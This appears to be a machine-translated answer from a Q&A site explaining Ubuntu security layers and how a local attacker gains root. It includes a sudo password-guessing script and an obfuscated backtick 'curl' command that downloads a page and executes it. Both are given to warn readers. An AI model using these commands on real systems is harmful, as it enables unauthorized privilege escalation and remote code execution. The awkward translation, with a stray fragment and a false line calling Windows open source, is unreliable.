Answers:
这是一个复杂的问题。从复杂的框架(如AppArmor)到谦虚的内核变量(如),Ubuntu系统中有许多不同的安全层mmap_min_addr
。您可以在混合中添加一些内核功能,例如内存随机化。您可以在Ubuntu Wiki上找到它们的列表以及快速解释。
另一个重要因素是更新既快速又容易-因此大多数计算机将更新为最新的安全修复程序。
据我所知,获得对您的计算机的本地访问权限的攻击者可以通过三种方式扩展内核特权:
破解密码。但这将是非常困难的,使用没有已知缺陷的算法将密码加密存储。破解它需要很长时间。
内核中的错误。但是内核的所有安全功能都会受到干扰。
欺骗用户放弃密码,即社会工程学。只需显示伪造的密码对话框或使用其他技巧即可。这是最简单的方法。
第三点是目前最弱的漏洞。
sudoers
。
无法破解root密码本身,因为Ubuntu默认情况下禁用了root用户。但是,如果您的用户可以通过sudo成为root用户,并且密码易于猜测/强行使用,则说明您的系统不安全。尝试测试密码的示例脚本:
#!/bin/sh
for pass in password 123 ubuntu pass; do
echo $pass|sudo -S evil_command
done
添加不受信任的存储库将允许安装该存储库中的程序。即使您没有显式安装诸如的应用程序sudo apt-get install [app-from-repo]
,该存储库仍然可以通过使Ubuntu相信该存储库包含某个程序的较新版本来影响其他程序。
更新过程以root身份运行,否则无法将文件写入/usr/bin
或/etc
。安装触发器也以root用户身份运行,并且可以任意运行,并且可能有害命令。现在,不用担心,需要手动操作来更新程序,Ubuntu存储库是安全的。像Windows这样的开源软件永远无法得到完全的信任,因为您无法检查恶意代码的来源,但是如果需要,您可以查看Ubuntu应用程序的来源(不适用于专有程序,例如sun-java6
Flash)。
正如哈维尔·里维拉(Javier Rivera)提到的那样,内核错误可能导致任意代码执行,但错误的软件也可能很危险,尤其是错误的setsuid
根二进制文件(将在文件所有者,根目录下运行的二进制文件)和其他以root身份运行的错误程序。
如果您不注意自己在做什么,则可以在系统上创建安全漏洞。例如,在不完全了解cronjobs的概念的情况下,您添加了一个cronjob来/etc/cron.daily
运行您的主文件夹中的程序(例如/bin/sh /home/your-username/myscript.sh
。如果您可以删除myscript.sh文件,则可以将其删除,那么利用此漏洞可能会恶意在代码myscript.sh
这将作为根(权限提升)来运行。
为了安全起见,请多加注意!如果您不知道命令的用途,请不要运行来自不受信任来源的命令。如果有人说背斜跑`curl 3221233674`
,那就不要。3221233674是另一种书写方式192.0.32.10
(example.com的IP)。因此,它等于:
`curl http://example.com/`
这些反引号导致输出作为shell命令执行。用简单的英语,“下载页面http://example.com/并尝试执行下载的页面”。
首先,您不会在给定的命令中看到任何恶意内容。但是现在,您知道它也可能被滥用。
始终检查从不受信任的来源(例如Internet)获得的命令/脚本。